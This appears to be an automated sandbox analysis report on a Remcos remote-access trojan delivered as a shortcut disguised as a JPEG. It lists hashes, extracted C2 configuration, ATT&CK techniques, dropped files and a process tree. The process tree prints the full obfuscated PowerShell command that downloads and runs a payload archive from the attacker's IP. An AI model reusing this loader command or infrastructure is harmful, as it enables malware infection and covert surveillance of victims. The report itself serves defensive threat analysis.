remcos | 50b628bc603d846c04ab5dc56a5bc40b32b219c29211661f663ec7bb160a0554

General

Target

telegrama_ksv_po_btgr.jpg.lnk
Size

691KB
MD5

5f468e83efbad5365270360d3a30d452
SHA1

b2297eea71a8c2530f6d03fd0dd76085fae48a18
SHA256

18ffe969595851eed2e247ff3e872a488415820e05371531a388276eeccaa250
SHA512

38c661f24fa57f1b3f508ebcedc96cc5534514e28d63a8aadac01d47a89ff8762118b31329a05b7b23920b231308ab92c76bd9cb12d8a62f95fcc9c60126001d
SSDEEP

48:8xmuavUQSpCQEV5fxvUZ7tQ0xC4xevUZ7z9O+UJa7x:8xy87CffxUQ0xC4IK0+UJQ

Score

10^/10

remcos stalagg discovery rat

Malware Config

Extracted

Family

remcos

Botnet

stalagg

C2

5.181.156.117:8576

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-5TL39W
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	1896	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
3528	scr_previw.exe
4352	scr_previw.exe

Loads dropped DLL 2 IoCs

pid	Process
3528	scr_previw.exe
4352	scr_previw.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4352 set thread context of 3940	4352	scr_previw.exe	108

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scr_previw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scr_previw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1896	powershell.exe
1896	powershell.exe
3528	scr_previw.exe
4352	scr_previw.exe
4352	scr_previw.exe
4352	scr_previw.exe
3940	cmd.exe
3940	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4352	scr_previw.exe
3940	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1896	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 3076 wrote to memory of 1896	3076	cmd.exe	91
PID 3076 wrote to memory of 1896	3076	cmd.exe	91
PID 1896 wrote to memory of 3528	1896	powershell.exe	106
PID 1896 wrote to memory of 3528	1896	powershell.exe	106
PID 1896 wrote to memory of 3528	1896	powershell.exe	106
PID 3528 wrote to memory of 4352	3528	scr_previw.exe	107
PID 3528 wrote to memory of 4352	3528	scr_previw.exe	107
PID 3528 wrote to memory of 4352	3528	scr_previw.exe	107
PID 4352 wrote to memory of 3940	4352	scr_previw.exe	108
PID 4352 wrote to memory of 3940	4352	scr_previw.exe	108
PID 4352 wrote to memory of 3940	4352	scr_previw.exe	108
PID 4352 wrote to memory of 3940	4352	scr_previw.exe	108
PID 3940 wrote to memory of 2336	3940	cmd.exe	111
PID 3940 wrote to memory of 2336	3940	cmd.exe	111
PID 3940 wrote to memory of 2336	3940	cmd.exe	111
PID 3940 wrote to memory of 2336	3940	cmd.exe	111
PID 3940 wrote to memory of 2336	3940	cmd.exe	111

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\telegrama_ksv_po_btgr.jpg.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo JBXDUNIFFSdOdkzABgiDZrCYzIJwbHgJCCgjXFiylJZHSozqceriqjUQ; echo TRrvWwZVPgwfNNXuXuzKczIdifYLnYWpHCvEhYYKBceBExbB; echo MJZEefTyRXlCCjFLMStGKCka; if (-not(Test-Path 'glorytoukraine.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''t''p'':''/''/''5''.''18''1''.''1''56''.''117''/glorytoukraine.zip -OutFile glorytoukraine.zip}; echo OOVHmKUKfvzFqrspIjXmHfAJIAuTusNxrMPfyVlLCNJduZSZUxyuE; Expand-Archive -Path glorytoukraine.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/scr_previw.exe; echo SHbbMwRgBkcBUwDHMRoKrekNvifVgixt; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''t''p'':''/''/''5''.''18''1''.''1''56''.''117''/racs/telegrama_ksv_po_btgr.jpg -OutFile telegrama_ksv_po_btgr.jpg; echo sbSMJSmHYwvWDghPuHaPyXEvzsSUFNGaEbdUtpzGXmZM; s''t''a''rt telegrama_ksv_po_btgr.jpg
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1896
- - C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe
    "C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3528
  - - C:\Users\Admin\AppData\Roaming\SuperSync_test\scr_previw.exe
      C:\Users\Admin\AppData\Roaming\SuperSync_test\scr_previw.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4352
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:3940
      - C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2336

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4344,i,11391966286255097843,10588851088187498028,262144 --variations-seed-version --mojo-platform-channel-handle=4416 /prefetch:8
1⤵
PID:3788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\158b0bbf

Filesize
1.2MB

MD5
73c02ec57c28d54c9348576ad4da06be

SHA1
9fa5a555ed3c07168846ac882728df3761a26515

SHA256
5ad3815fcbe42d71680e6810a18c7ddb99c6c56bb206b229c29ee31089cffa5a

SHA512
775a7ed8108fbb811583be99185a7df86191a115ab3f6649e806796fb5b8b8fd7bfd3f1c086bc66ba92d62d98f8ffb85eb505c2bab9273d0ae4a038093de4189

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kbok0ni2.ro1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\d3dx9_43.dll

Filesize
1.9MB

MD5
46e435aecb557fcb16ae2ea3b22ab7fd

SHA1
5290156599fd9575c4401c80949ad5672fe64da5

SHA256
70e0b720bb461503acbd947a8355fb629d703b8d7f99ddfbb09a0c71886861da

SHA512
621010aa44868062361c6dbb670f8664c370ddcb0afbb5835765470522c03bb5ac779e86236cfffdcf343cbc582f81beacd2a7108d78c90d4dfc4c38e7d23bb3

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\rnyt

Filesize
1.0MB

MD5
289d2d639e058b63ebe16bd8d543115d

SHA1
969736e5f6a2c416f556e2f73358020573486afc

SHA256
f21bf56c8d15824dc1cf4108725f73154b88a89ab23f00a7f8dbb2d2de8e2568

SHA512
7adf83c9795d9705c4c1345422d17ad26b6d4f27a8242674f44b2d2a05080e532d9a64c43803164bf25c4e9eb5cac7a0d3789d71e9f34b46b5b9c6203fad65aa

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe

Filesize
2.2MB

MD5
d9530ecee42acccfd3871672a511bc9e

SHA1
89b4d2406f1294bd699ef231a4def5f495f12778

SHA256
81e04f9a131534acc0e9de08718c062d3d74c80c7f168ec7e699cd4b2bd0f280

SHA512
d5f048ea995affdf9893ec4c5ac5eb188b6714f5b6712e0b5a316702033421b145b8ee6a62d303eb4576bf8f57273ff35c5d675807563a31157136f79d8a9980

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\tkjm

Filesize
80KB

MD5
cae9827c507632c4a1980479c21a42a2

SHA1
d9a1c5900a93066645bf8fb7c79dacf56f3eaa3e

SHA256
efeec4c2f612130ec81f3796bba26471e14dcf97b0e22247b7c7f40ad2eba0cf

SHA512
441fb631ed26bfe5b84c4fd267a43fbacc64e0adae0e90d0d8e11a248fa2ab47d43a54f1cc3903532943d158d87a2e236976830834545b0d13471731b6f61768

Download Submit
memory/1896-16-0x00007FFEBFC80000-0x00007FFEC0741000-memory.dmp

Filesize
10.8MB

Download
memory/1896-13-0x00007FFEBFC80000-0x00007FFEC0741000-memory.dmp

Filesize
10.8MB

Download
memory/1896-20-0x000001BE69E10000-0x000001BE69E22000-memory.dmp

Filesize
72KB

Download
memory/1896-21-0x000001BE69DF0000-0x000001BE69DFA000-memory.dmp

Filesize
40KB

Download
memory/1896-2-0x00007FFEBFC83000-0x00007FFEBFC85000-memory.dmp

Filesize
8KB

Download
memory/1896-15-0x00007FFEBFC83000-0x00007FFEBFC85000-memory.dmp

Filesize
8KB

Download
memory/1896-14-0x00007FFEBFC80000-0x00007FFEC0741000-memory.dmp

Filesize
10.8MB

Download
memory/1896-19-0x00007FFEBFC80000-0x00007FFEC0741000-memory.dmp

Filesize
10.8MB

Download
memory/1896-12-0x000001BE516A0000-0x000001BE516C2000-memory.dmp

Filesize
136KB

Download
memory/1896-60-0x00007FFEBFC80000-0x00007FFEC0741000-memory.dmp

Filesize
10.8MB

Download
memory/2336-72-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/2336-71-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/2336-69-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/2336-68-0x00007FFEDE290000-0x00007FFEDE485000-memory.dmp

Filesize
2.0MB

Download
memory/3528-43-0x00007FFEDE290000-0x00007FFEDE485000-memory.dmp

Filesize
2.0MB

Download
memory/3528-42-0x0000000074950000-0x0000000074ACB000-memory.dmp

Filesize
1.5MB

Download
memory/3940-66-0x0000000075660000-0x00000000757DB000-memory.dmp

Filesize
1.5MB

Download
memory/3940-64-0x00007FFEDE290000-0x00007FFEDE485000-memory.dmp

Filesize
2.0MB

Download
memory/4352-61-0x0000000075660000-0x00000000757DB000-memory.dmp

Filesize
1.5MB

Download
memory/4352-56-0x00007FFEDE290000-0x00007FFEDE485000-memory.dmp

Filesize
2.0MB

Download
memory/4352-55-0x0000000075660000-0x00000000757DB000-memory.dmp

Filesize
1.5MB

Download

Analysis

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